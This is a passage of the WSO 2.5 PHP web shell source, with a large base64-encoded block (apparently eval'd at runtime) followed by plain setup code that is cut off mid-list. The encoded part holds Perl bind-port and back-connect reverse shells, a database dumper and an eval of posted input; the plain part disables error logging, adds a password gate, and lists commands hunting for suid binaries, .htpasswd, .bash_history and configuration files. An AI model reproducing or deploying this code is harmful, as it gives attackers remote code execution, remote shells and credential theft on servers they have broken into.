Z3NxbCcgIjsNCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7DQpl
Y2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9
dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/
J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwv
dGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0
eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Nx
bF9sb2dpbiddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFz
cyB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hh
cnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPGlucHV0
IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydz
cWxfaG9zdCddKSl7DQoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9T
VFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkg
ew0KCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQoJCQkJY2FzZSAiV2luZG93cy0xMjUx
IjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQoJCQkJY2FzZSAiVVRGLTgiOiAk
ZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5z
ZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENo
YXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0
KCdjcDg2NicpOyBicmVhazsNCgkJCX0NCgkJCSRkYi0+bGlzdERicygpOw0KCQkJZWNobyAiPHNl
bGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCgkJCXdoaWxl
KCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk
aXRlbSk7DQoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0k
X1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsN
CgkJCX0NCgkJCWVjaG8gJzwvc2VsZWN0Pic7DQoJCX0NCgkJZWxzZSBlY2hvICR0bXA7DQoJfWVs
c2UNCgkJZWNobyAkdG1wOw0KCWVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8
dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1w
dHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVt
YmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAg
ICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAg
ICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZh
bHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAg
ICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAy
KSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVl
PScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQs
bCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0g
dDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0K
CQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0w
O2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRz
Wyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2Vk
Ow0KCQkJfQ0KCQk8L3NjcmlwdD4iOw0KCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCgkJ
ZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+
IjsNCgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCgkJCQkkZGItPnNlbGVjdGRi
KCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdi
b3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7
DQoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQoJCQkJd2hpbGUoJGl0ZW0gPSAk
ZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk
aXRlbSk7DQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCdd
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdT
RUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQoJCQkJCSR2YWx1ZSA9IGh0
bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2No
ZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBv
bmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRf
UE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4i
KSAuICI8L25vYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2Jv
eCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xp
Y2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQo
KTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAu
c3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQoJCQkJ
aWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVl
cnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9Q
T1NUWydwMyddOjE7DQoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00g
JyAuICRfUE9TVFsncDInXSk7DQoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7DQoJCQkJCSRwYWdl
cyA9IGNlaWwoJG51bVsnbiddIC8gMzApOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2Ny
aXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIs
IGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7
JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFs
dWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIGVj
aG8gIiBvZiAkcGFnZXMiOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAx
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChc
IiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQ
cmV2PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykN
CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIi
IC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0
OzwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsNCgkJCQkJaWYoJF9Q
T1NUWyd0eXBlJ109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJP
TSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0K
CQkJCQllbHNlDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1Rb
J3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCgkJCQkJZWNobyAiPGJy
Pjxicj4iOw0KCQkJCX0NCgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1w
dHkoJF9QT1NUWydwMiddKSkgew0KCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KCQkJ
CQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCgkJCQkJCSR0aXRsZSA9IGZhbHNlOw0KCQkJCQkJ
ZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNz
PW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsNCgkJCQkJCSRsaW5lID0g
MTsNCgkJCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKQl7DQoJCQkJCQkJaWYoISR0aXRs
ZSkJew0KCQkJCQkJCQllY2hvICc8dHI+JzsNCgkJCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5
ID0+ICR2YWx1ZSkNCgkJCQkJCQkJCWVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsNCgkJCQkJCQkJ
cmVzZXQoJGl0ZW0pOw0KCQkJCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJCQkJZWNobyAnPC90cj48
dHI+JzsNCgkJCQkJCQkJJGxpbmUgPSAyOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8dHIgY2xh
c3M9ImwnLiRsaW5lLiciPic7DQoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7DQoJCQkJCQkJ
Zm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgew0KCQkJCQkJCQlpZigkdmFsdWUgPT0g
bnVsbCkNCgkJCQkJCQkJCWVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsNCgkJCQkJCQkJZWxz
ZQ0KCQkJCQkJCQkJZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4n
PC90ZD4nOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8L3RyPic7DQoJCQkJCQl9DQoJCQkJCQll
Y2hvICc8L3RhYmxlPic7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvICc8ZGl2PjxiPkVycm9y
OjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7DQoJCQkJCX0N
CgkJCQl9DQoJCQkJZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1
ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1
Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRo
OjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOw0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1Rb
J3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpDQogICAgICAgICAgICAgICAg
ICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOw0KICAgICAgICAgICAgICAg
IGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUn
PiI7DQoJCQkJZWNobyAiPC90ZD48L3RyPiI7DQoJCQl9DQoJCQllY2hvICI8L3RhYmxlPjwvZm9y
bT48YnIvPiI7DQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgew0KICAg
ICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBj
b25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3kn
Iik7DQogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKQ0KICAgICAgICAgICAgICAgICAg
ICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1l
bnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBm
YWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5
cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7DQog
ICAgICAgICAgICB9DQoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCgkJCQkk
ZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCgkJCQllY2hvICc8YnIvPjxwcmUg
Y2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJ
CX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigp
KTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFj
dGlvbk5ldHdvcmsoKSB7DQoJd3NvSGVhZGVyKCk7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhO
eUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdr
UVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZ
MnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklD
UWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJO
clpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4
ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmha
R1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBp
WlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0
b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2Nw
T3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVS
RVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3
OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5
RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNS
VUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpX
RjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5
U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBz
U1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNh
WE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FH
bHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21z
cEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xr
S1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJ
ajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklD
UlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VW
TVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOw0K
CWVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQoJPGZvcm0g
bmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7
cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bh
bj48YnIvPg0KCVBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEz
MzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4NCgk8L2Zvcm0+DQoJPGZvcm0gbmFt
ZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRo
aXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPg0KCTxzcGFuPkJhY2stY29ubmVjdCAgW3Bl
cmxdPC9zcGFuPjxici8+DQoJU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVy
JyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlw
ZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZh
bHVlPSc+Pic+DQoJPC9mb3JtPjxicj4iOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsNCgkJ
ZnVuY3Rpb24gY2YoJGYsJHQpIHsNCgkJCSR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9u
X2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCgkJCWlmKCR3KXsNCgkJCQlAZndyaXRlKCR3
LEBiYXNlNjRfZGVjb2RlKCR0KSk7DQoJCQkJQGZjbG9zZSgkdyk7DQoJCQl9DQoJCX0NCgkJaWYo
JF9QT1NUWydwMSddID09ICdicHAnKSB7DQoJCQljZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9w
KTsNCgkJCSRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4v
ZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVjaG8gIjxwcmUg
Y2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsN
CiAgICAgICAgICAgIHVubGluaygiL3RtcC9icC5wbCIpOw0KCQl9DQoJCWlmKCRfUE9TVFsncDEn
XSA9PSAnYmNwJykgew0KCQkJY2YoIi90bXAvYmMucGwiLCRiYWNrX2Nvbm5lY3RfcCk7DQoJCQkk
b3V0ID0gd3NvRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydw
MyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7DQogICAgICAgICAgICBzbGVlcCgxKTsNCgkJCWVj
aG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4i
PC9wcmU+IjsNCiAgICAgICAgICAgIHVubGluaygiL3RtcC9iYy5wbCIpOw0KCQl9DQoJfQ0KCWVj
aG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25SQygpIHsNCglp
ZighQCRfUE9TVFsncDEnXSkgew0KCQkkYSA9IGFycmF5KA0KCQkJInVuYW1lIiA9PiBwaHBfdW5h
bWUoKSwNCgkJCSJwaHBfdmVyc2lvbiIgPT4gcGhwdmVyc2lvbigpLA0KCQkJIndzb192ZXJzaW9u
IiA9PiBXU09fVkVSU0lPTiwNCgkJCSJzYWZlbW9kZSIgPT4gQGluaV9nZXQoJ3NhZmVfbW9kZScp
DQoJCSk7DQoJCWVjaG8gc2VyaWFsaXplKCRhKTsNCgl9IGVsc2Ugew0KCQlldmFsKCRfUE9TVFsn
cDEnXSk7DQoJfQ0KfQ0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1
bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24p
KQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSdd
ID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3Rz
KCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRf
UE9TVFsnYSddKTsNCmV4aXQ7
"));
}
?>
<?php>
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
